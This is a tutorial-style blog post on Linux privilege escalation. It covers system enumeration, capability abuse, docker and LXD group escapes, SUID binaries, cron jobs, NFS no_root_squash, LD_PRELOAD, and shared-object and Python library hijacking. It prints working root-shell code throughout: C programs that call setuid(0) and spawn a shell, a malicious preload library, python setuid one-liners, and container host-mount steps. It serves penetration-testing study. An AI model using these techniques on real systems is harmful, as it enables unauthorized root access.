# LINUX PRIVILEGE ESCALATION Hello hackers, I've finally decided to put together all of the different ways to perform privilege escalation on a Linux system. We assume that we now have a shell on the remote system. However, depending on how access was obtained, we may not yet have 'root' privileges. The following techniques can be used to elevate privilege ## Gathering Information of the System To escalate privileges on a Linux system, it’s crucial to gather as much information about the environment as possible. This helps identify potential weaknesses or misconfigurations that can be exploited. Below are some key commands that can be used for enumeration, along with a few additional ones to broaden the assessment. ### 1.Check OS Information: ```bash! cat /etc/os-release ``` Contains details about the operating system version, distribution, and other useful information. ### 2.Inspect the PATH Variable: ```bash! echo $PATH ``` Reveals directories in the system's PATH, which could expose writable or insecure paths. ### 3.List Environment Variables: ```bash! env ``` Lists all environment variables. Sensitive information like credentials might be exposed. ### 4.Check Kernel Version: ```bash! uname -a ``` Displays kernel version, system architecture, and other details. Certain versions may have known vulnerabilities. ### 5.List Available Shells: ```bash! cat /etc/shells ``` Shows available login shells. Vulnerable or misconfigured shells can provide opportunities for escalation. ### 6.View Routing Table: ```bash! route # or netstat -rn ``` Displays the routing table, helping identify available network interfaces. ### 7.Check ARP Table: ```bash! arp -a ``` Shows the ARP table, revealing other hosts the target machine communicates with. ### 8.List SUID and SGID Files: ```bash! find / -perm /4000 2>/dev/null ``` Finds SUID binaries, which run with the file owner's privileges (often root). ### 9.Check for Running Processes: ```bash! ps aux ``` Lists all running processes. Look for processes running as root or with elevated privileges. ### 10.Check for Installed Packages: ```bash! dpkg -l # For Debian-based systems rpm -qa # For Red Hat-based systems ``` Lists installed packages. Some might have known vulnerabilities or misconfigurations. ### 11.Check Crontab Entries: ```bash! crontab -l cat /etc/crontab ``` Lists scheduled cron jobs. Misconfigured cron jobs running as root can be exploited. ### 12.Check Active Network Connections: ```bash! netstat -tuln ``` Displays active network connections and listening ports, which can help identify services running as root. ### 13.View Mounted File Systems: ```bash! mount ``` Lists mounted file systems. Uncommon or insecure mounts can offer opportunities for privilege escalation. ### 14.Check Writable Directories for Other Users: ```bash! find / -writable -type d 2>/dev/null ``` Identifies world-writable directories that could be leveraged to inject malicious files. ### 15.Inspect sudo Privileges: ```bash! sudo -l ``` Lists what commands the current user is allowed to run with sudo, revealing potential escalation paths. ## Capabilities Capabilities split the traditionally all-or-nothing root privileges into distinct units that can be independently enabled or disabled for processes. Here are some common capabilities available in Linux: #### 1.CAP_CHOWN Change file ownership. #### 2.CAP_DAC_OVERRIDE Bypass file read, write, and execute permission checks. #### 3.CAP_DAC_READ_SEARCH Bypass file read permission checks. #### 4.CAP_FOWNER Bypass permission checks on operations that normally require the file's owner. #### 5.CAP_NET_ADMIN Perform various network-related operations, such as configuring interfaces. #### 6.CAP_NET_BIND_SERVICE Bind to network ports below 1024. #### 7.CAP_SYS_ADMIN Perform a wide range of administrative tasks. #### 8.CAP_SYS_MODULE Load and unload kernel modules. #### 9.CAP_SYS_RAWIO Perform raw I/O operations. #### 10.CAP_SYS_TIME Modify the system clock. ### Linux Capabilities: Viewing and Checking #### Viewing Capabilities: You can view the capabilities of a binary using the getcap command. For example: ```bash! getcap /path/to/binary ``` #### Setting Capabilities To set capabilities on a binary, use the setcap command. For example, to give a binary the capability to bind to low-numbered ports: ```bash! sudo setcap 'cap_net_bind_service=+ep' /usr/bin/somebinary ``` #### Removing Capabilities To remove capabilities, use the setcap command with a minus sign: ```bash! sudo setcap 'cap_net_bind_service=-ep' /usr/bin/somebinary ``` #### Checking Effective Capabilities You can check the effective capabilities of a running process using the capsh command: ```bash! capsh --print ``` ### Linux Capabilities for Privilege Escalation Here’s a list of Linux capabilities that can be leveraged for privilege escalation if not used correctly. Misconfigurations or overly permissive settings can lead to security vulnerabilities: #### 1.CAP_CHOWN Allows changing file ownership. If a binary with this capability is compromised, an attacker can take ownership of sensitive files. #### 2.CAP_DAC_OVERRIDE Bypasses file read, write, and execute permission checks. This capability allows access to files that are normally restricted, potentially exposing sensitive data. #### 3.CAP_DAC_READ_SEARCH Bypasses file read permission checks. This can be exploited to read files that should otherwise be inaccessible. #### 4.CAP_FOWNER Bypasses permission checks on operations that normally require the file's owner. An attacker can manipulate files without being the owner, leading to unauthorized access. #### 5.CAP_NET_ADMIN Grants the ability to perform network-related operations, such as modifying network interfaces and routing tables. Misuse can lead to network manipulation and privilege escalation. #### 6.CAP_NET_BIND_SERVICE Allows binding to network ports below 1024. If a service running with this capability is vulnerable, it can allow an attacker to hijack the service. #### 7.CAP_SYS_ADMIN This broad capability allows performing a variety of administrative tasks. Improper use can lead to severe privilege escalation, as it provides control over many system functions. #### 8.CAP_SYS_MODULE Permits loading and unloading kernel modules. Exploiting this capability can allow attackers to load malicious modules into the kernel. #### 9.CAP_SYS_RAWIO Grants access to raw I/O operations, which can be abused to perform arbitrary read/write operations on devices. #### 10.CAP_SYS_TIME Allows modification of the system clock. Changing the system time can be used to manipulate logs and other time-sensitive data, hiding malicious activities. If there is harmful capabilities set on a binary, we can use this capability to escalate privilege For example, if CAP_SETUID capability is set then this can be used as a backdoor to maintain privileged accss by manipulating its own process UID ```bash! cp $(which python) . sudo setcap cap_setuid+ep python ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' ``` ## Group Based ### Docker If we are member of docker group we can escalate our privilege to root. The idea is, we are going to take `/` directory of host machine and mount it to our container. Once the directory is mounted, we will have root inside of our container and we can manipulate any files on this host file system through the container. `docker run -v /:/mnt -it alpine` mount `/` from hot machine to `/mnt` with `-it` interactive terminal. using `alpine` image When victim doesnot have internet, it cannot pull the alpine image, so `docker pull alpine` → pull alpine in attacker machine `docker save -o alpine.tar alpine` → save alpine image to tar file and transfer to victim `docker load -i /path/to/destination/alpine.tar` → load image from tar file then we are done `docker image ls` → shows the images. ### LXC / LXD Idea is the same as docker. First we will download `Alpine Image` in our machine and transfer it to victim A minimal Docker image based on Alpine Linux with a complete package index and only 5 MB in size! `lxd init` to initialize linux container daemon unzip the `Alpine.zip` `lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine`→ import local image. `lxc image list` → to list out the images `lxc init alpine dreamy -c security.privileged=true` → Start a privileged container with the `security.privileged` set to `true` to run the container without a UID mapping, making the root user in the container the same as the root user on the host. here alpine is the name of the image and `dreamy` is the name of the container we are going to spawn `lxc config device add dreamy mydev disk source=/ path=/mnt/root recursive=true` → Mount the host file system. we are mounting entire file system `/` of the host to path `/mnt/root` `recursive=true` to get all the files and folders. `lxc start dreamy`→ starting the container. we can use `lxc list` to view the status `lxc exec dreamy /bin/sh` → execute a command inside of our container Now we are root on the container and container contains the whole file system of host. we can edit the `/mnt/etc/shadow` to remove `/` change password of root, so that we can login as root in host. ### Disk User of disk group has full access within `/dev` such as `/dev/sda` ### ADM Members of the adm group are able to read all logs stored in `/var/log`. ## SUID Privilege Escalation Set User ID (SUID) is a special permission in Unix/Linux systems. When a file has the SUID bit set, it allows the file to be executed with the privileges of the file's owner, regardless of the user running the file. Typically used to grant regular users temporary elevated permissions to execute specific tasks. ![image](https://hackmd.io/_uploads/S1j-giBcxe.png) Indicated by `rws` for the owner’s permission. When the SUID bit is set (`s` instead of `x` for execute), any user who runs this file does so with the permissions of the file owner. This is commonly used when a file is owned by root but allows regular users to execute it with root privileges. The next three characters (`rws`) represent the permissions for the group that owns the file. Similar to the owner permissions, read (`r`), write (`w`), and execute (`x`) are granted or denied to the group. When the GUID (Set Group ID) is set, the execute bit for the group is replaced with an `s`, indicating that the file will be run with the group’s privileges. The GUID is similar to SUID but applies to the group. It allows anyone executing the file to run it with the permissions of the group that owns the file. In this example, the group permission includes `s`, showing that the GUID bit is set. ### How to Identify SUID Files SUID files can be identified by searching for files with the s bit in the owner's execute permission field. ```bash! find / -perm -4000 2>/dev/null ``` Example of an SUID file: ```bash! -rwsr-xr-x 1 root root /usr/bin/passwd ``` In this example: `rws` indicates the SUID bit is set. The owner is root, meaning any user executing this file does so with root privileges. ### How to exploit SUID Binaries to escalate privilege. Certain binaries, like `su`, `sudo`, `passwd`,etc typically have the SUID bit set on all Linux systems. These are essential system binaries and are generally secure. However, vulnerabilities are more likely to be found in non-system binaries. To begin exploring potential exploitation methods, checking GTFObins for any relevant techniques is a great first step. For an example, if suid is set on python then we can exploit it to escalate privileges #### Verify SUID on python ```bash! ls -l /usr/bin/python -rwsr-xr-x 1 root root /usr/bin/python ``` #### Create a Python One-Liner for Privilege Escalation ```bash! /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-i")' ``` #### Verifying privilege escalation ```bash! whoami root ``` ## CRON JOB Cron jobs are scheduled tasks in Unix-like operating systems that automatically execute commands or scripts at specified intervals or times. Managed by the cron daemon, these tasks can be set to run daily, weekly, monthly, or at specific times, allowing for automation of repetitive tasks such as backups, updates, and system maintenance. ![image](https://hackmd.io/_uploads/Bk9PVjH5ge.png) We can verify whether a cron job is active by using pspy, a command-line utility that allows us to observe running processes without requiring root access. This tool enables us to monitor commands executed by other users, including cron jobs. It operates by scanning the procfs filesystem. To use pspy, we can execute the following command ```bash! dreamy@fsociety $./pspy64 ``` ### Identifying Cron Jobs To view user-specific cron jobs, use the command: ```bash! crontab -l ``` To view system-wide cron jobs, check files in `/etc/crontab`, `/etc/cron.d/`, and `/var/spool/cron/crontabs/`. ### Exploiting Cron Jobs: **Modifying Scripts**: If you find a world-writable script executed by a cron job, you can modify it to execute arbitrary commands. **Creating a Malicious Script**: If the cron job runs a specific script, you could create a script with the same name and place it in a directory that is executed before the legitimate script. **Race Conditions**: Exploit race conditions by quickly replacing a script while the cron job is running. **Exploiting Environment Variables**:Cron jobs may rely on environment variables that are not properly set or sanitized. An attacker can manipulate these variables in the job's environment to alter the behavior of the command being executed. **Path Manipulation**:If a cron job uses commands that are not specified with full paths, an attacker can exploit the `PATH` environment variable. By placing malicious executables in a directory that appears earlier in the `PATH`, the attacker can cause the cron job to execute the malicious version instead of the intended command. **Symlink Attacks**:If a cron job writes output to a file, an attacker can create a symlink from that file to a sensitive file or a script that they control. When the cron job runs, it may overwrite the symlink target, leading to privilege escalation or data loss. **Utilizing Default Shell Behavior**:Certain shell features can be exploited if cron jobs are running with a shell that has specific behaviors (like `bash`). For example, an attacker might use command substitution or other constructs in a script to execute arbitrary commands. **Adding to the Crontab**:If a user with sufficient privileges has a cron job configured to allow others to add entries (e.g., using `crontab -e`), an attacker can insert their own commands to execute arbitrary code at scheduled intervals. **Exploiting Missing User Permissions**:If a cron job runs as a user with elevated privileges and doesn’t restrict which scripts or binaries it executes, an attacker can create or modify files that the cron job interacts with, leading to potential privilege escalation. **Manipulating Command Output**:If a cron job’s output is logged to a file that is writable by all users, an attacker can manipulate this file or replace it with a malicious one to control the output of the job and potentially execute arbitrary code. **Job Timing and Timing Attacks**:Understanding the timing of cron jobs can allow an attacker to launch a timing attack. By knowing when a cron job runs, an attacker can exploit any race conditions or manipulate scripts just before execution. **Local File Inclusion (LFI)**:If a cron job includes or requires files without properly validating the input, an attacker could exploit this to include malicious files that execute when the job runs. ## Exploiting NFS weak Permission Network File System (NFS) is a distributed file system protocol that allows clients to access files over a network as if they were local. However, improper configuration and weak permissions can lead to significant security vulnerabilities, allowing for potential privilege escalation. ### Understanding NFS NFS allows remote users to access files stored on a server over a network. Files can be exported from an NFS server and mounted on client machines, enabling shared access. ### Understanding `root_squash` and `no_root_squash` The `root_squash` option is used in NFS to prevent root users on client machines from having root privileges on the NFS server. When this option is enabled, any request made by the root user (UID 0) from a client is mapped to the `nobody` user (or another specified user) on the NFS server. This means that even if a root user on the client accesses the NFS share, they will not have elevated privileges, effectively restricting their access to what the `nobody` user can access. The `no_root_squash` option allows root users on client machines to retain their root privileges when accessing NFS shares. When this option is enabled, root users on the client can access files on the NFS server with full root privileges. This means they can read, write, and modify files as if they were the root user on the NFS server. ### Setting no_root_squash ```bash! dreamy@fsociety $ nano /etc/exports ........... ........... /var/nfs/general *(rw,no_root_squash) ........... ........... ``` ### Listing all accessible mounts ```bash! dreamy@fsociety $ showmount -e {ip} ``` ### Attack scenario ```bash! #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); } ``` Then compile this .c code as ```bash! dreamy@fsociety: gcc exploit.c -o exploit ``` Now being the root of our attacking machine ```bash! root@fsociety:~$ sudo mount -t nfs {target_ip}:/tmp /mnt root@fsociety:~$ cp exploit /mnt root@fsociety:~$ chmod u+s /mnt/exploit ``` Here we are mounting `/tmp` of target to `/mnt` of our machine, then we copied our exploit to /mnt Then using chmod u+s we are setting up setuid in exploit. Now in target machine ```bash! user@target $: cd /tmp user@target:/tmp $: ./exploit root@target:/tmp #: id uid=0(root) gid=0(root) groups=0(root),4(adm) ``` Finally we are now root! ## Sudo + LD_PRELOAD (Shared Libraries) For this attack, we need user with sudo access to run some command (can be any command) + **LD_PRELOAD** variable to persist with sudo call. Shared libraries are collections of precompiled code that can be used by multiple programs simultaneously. They provide a way to modularize code, allowing functions and data to be shared across different applications without the need to duplicate the code. **LD_PRELOAD**: An environment variable used in Unix-like operating systems to specify a shared library to be loaded before others when a program is run. It can be used to override functions in standard libraries. ### Understanding the Context: If a user has permission to run a program with sudo, but that program calls functions from shared libraries (like libc), you can use **LD_PRELOA**D to inject your own shared library that modifies the behavior of these functions. **Example User** ```bash! user@pc1:~$ sudo -l Matching Defaults entries for dreamy on pc1: env_reset, mail_badpass,................................. ,env_keep+=LD_PRELOAD User dreamy may run the following commands on pc1 : (root) NOPASSWD: /usr/bin/ping ``` ### Attack Scenario From above example, we can see user dreamy can use ping command as root without root's password. Also, we can see `env_keep+=LD_PRELOAD` which means environment variable are preserver when using sudo. For the attack, We are going to craft a malicious shared libraries, then we will include this malicious shared library with the `LD_PRELOAD` variable. Then when we run sudo ping, we will be able to load our malicious shared libraries. ### Creating malicious shared libraries ```bash! #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } ``` In above malicious.c file, we are unsetting our environment variable (LD_PRELOAD), then we are setting our gid and uid to 0 (root) and then we are spawning bash shell. **Compiling this malicious.c** ```bash! user@pc1 $: gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles ``` Here, we are compiling our malicious.c code into shared library file, malicious.so Then when we run ping as sudo, ```bash! user@pc1 $: sudo LD_PRELOAD=/location_of_malicious_library/malicious.so /usr/bin/ping root@pc2 #: whoami root ``` We are finally root! ## Shared Object Manipulation A shared object is a compiled binary file that contains code and data that can be shared among multiple programs. In Unix-like operating systems, shared objects are typically represented by files with the **.so** (shared object) extension. They allow programs to utilize common libraries, reducing redundancy and saving memory, as multiple programs can load the same shared object into memory at runtime. Some Binaries or programs might have custom object/libraries associated with them. If we have access to manipulate the custom object used by such program, we can get escalate privilege. **Example** ```bash! user@pc1:~$ ls -la dbs -rwsr-xr-x 1 root root 1000 Nov 2 15:05 dbs ``` Lets say there is a library with suid bit set. ### Viewing the shared object required for specific binary Using `ldd` we can view the shared object required. ```bash! user@pc1:~$ ldd dbs ............................. libshared.so => /lib/x86_64-linux-gnu/thisislibrary.so (0x00007adf777654dsfaasdf) ............................. ............................. ``` From the output we can see, dbs binary's non standard library thisislibrary.so Using readelf tool we can look at the path for the shared libraries. ```bash! user@pc1:~$ readelf -d dbs | grep PATH 0x00000000000000 (RUNPATH) Library runpath: [/dreamy] ``` From the output, we can say custom library is imported from `/dreamy` directory If we have write access to this directory, then we can add malicious library in this directory. ```bash! #include<stdio.h> #include<stdlib.h> void dbquery() { printf("Hacked by dreamy"); setuid(0); system("/bin/sh -p"); } ``` Compiling this malicious library ```bash! gcc malicious.c -fPIC -shared -o /dreamy/thisislibrary.so ``` Now when we run the dbs binary, we will get shell as root. ```bash! root@pc1:~$ ./dbs Hacked by dreamy # whoami root ``` ## Python Library Hijacking Python Library Hijacking is a security vulnerability that allows an attacker to execute arbitrary code by manipulating the Python environment to load a malicious library instead of the intended one. This type of hijacking can lead to privilege escalation or unauthorized access, particularly when running applications or scripts with elevated permissions. ### How Python Library Hijacking Works **Dynamic Module Loading:** Python allows dynamic loading of modules and packages using the import statement. This means that Python searches for modules in specific directories based on the `PYTHONPATH` environment variable and the installation directory of Python libraries. **Module Search Path:** When a Python script imports a module, it searches through several directories: The directory containing the script being executed. Directories specified in the `PYTHONPATH`. Standard library directories and site-packages. **Exploiting the Search Order**: An attacker can create a malicious Python module with the same name as a legitimate module that the target application imports. If the malicious module is placed in a directory that takes precedence in the search order, the Python interpreter will load the malicious module instead of the legitimate one. ### Wrong Write Permission Idea is, if any suid python file imports library and we have write permission on that library, we can add simple malicious code (reverse shell in that library) to get shell as privileged user. ### Library PATH Idea here is, python searches and imports modules in priority order, meaning paths with higher priority on the list are searched first and then moves to paths with lower priority on this list. **Example;** ```bash! dreamy@fsociety:~$ python3 -c 'import sys; print("\n".join(sys.path))' /usr/lib/python3.5.zip /usr/lib/python3.5 /usr/lib/python3.5/lib-dynload /usr/local/lib/python3.5/dist-packages /usr/lib/python3/dist-packages ``` This shows the order in which modules are searched and imported. Lets say, a suid python file uses numpy module. ```bash! dreamy@fsociety:~$ pip3 show numpy ...SNIP... Location: /usr/local/lib/python3.5/dist-packages ...SNIP... ``` We can use the above cmd to see `numpy` is installed in the path `/usr/local/lib/python3.5/dist-packages`. While importing, python searches in /usr/lib/python3.5.zip → /usr/lib/python3.5 ……. and then goes to `/usr/local/lib/python3.5/dist-packages` So, what we can do is, create a malicious `numpy.py` in the folder `/usr/lib/python3.5` (if we have write permission) so then when psutil is imported, our malicious file gets executed. ### PYTHONPATH Environment Variable ```bash! dreamy@fsociety:~$ sudo -l Matching Defaults entries for dreamy on fsociety: env_reset, mail_badpass, .......................................:/snap/bin User dreamy may run the following commands on fsociety: (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python ``` If we have `SETENV` permission then we can set `PYTHONPATH` environment variable to somewhere we have write permission and put the respective file in that folder. ```bash! dreamy@fsociety:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./pythoncode.py uid=0(root) gid=0(root) groups=0(root) ...SNIP... ``` So, here we can put malicious `numpy.py` inside the `/tmp` file and set the `env` variable. **IMPORTANT** Sometimes we donot have write permission to these library location, if the suid set python file are present in the directory where we have write permission then we can create malicious python script in this directory (as the current directory always comes first) this malicious script gets executed first. **Have fun, hack ethically! Regards,dr3amy.**